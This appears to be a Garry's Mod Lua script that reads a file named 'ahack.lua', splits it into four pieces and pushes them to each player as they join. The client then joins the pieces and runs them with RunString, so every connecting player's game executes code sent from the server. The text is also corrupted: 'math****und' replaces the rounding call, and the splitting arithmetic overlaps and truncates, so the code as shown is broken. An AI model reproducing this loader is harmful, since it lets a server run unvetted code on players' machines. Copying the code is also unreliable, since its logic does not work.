util.AddNetworkString("ah1")
util.AddNetworkString("ah2")
util.AddNetworkString("ah3")
util.AddNetworkString("ah4")
local ahack = file.Read("ahack.lua", "LUA")
local ah1 = string.Left(ahack, math.min(math****und(string.len(ahack)/4), 63000))
local ah2 = string.Left(ahack, math****und(string.len(ahack)*1/2))
local ah2 = string.Right(ah2, math.min(math****und(string.len(ah2)/2), 63000))
local ah3 = string.Right(ahack, math****und(string.len(ahack)*1/2))
local ah3 = string.Left(ah3, math.min(math****und(string.len(ah3)/2), 63000))
local ah4 = string.Right(ahack, math.min(math****und(string.len(ahack)/4), 63000))
hook.Add("PlayerInitialSpawn", "ah", function(p)
net.Start("ah1")
net.WriteString(ah1)
net.Send(p)
net.Start("ah2")
net.WriteString(ah2)
net.Send(p)
net.Start("ah3")
net.WriteString(ah3)
net.Send(p)
net.Start("ah4")
net.WriteString(ah4)
net.Send(p)
end)
local ah1,ah2,ah3,ah4
net.Receive("ah1", function()
ah1 = net.ReadString()
end)
net.Receive("ah2", function()
ah2 = net.ReadString()
end)
net.Receive("ah3", function()
ah3 = net.ReadString()
end)
net.Receive("ah4", function()
ah4 = net.ReadString()
if ah1 and ah2 then
local a = ah1 .. ah2 ..ah3 ..ah4
RunString(a)
end
end)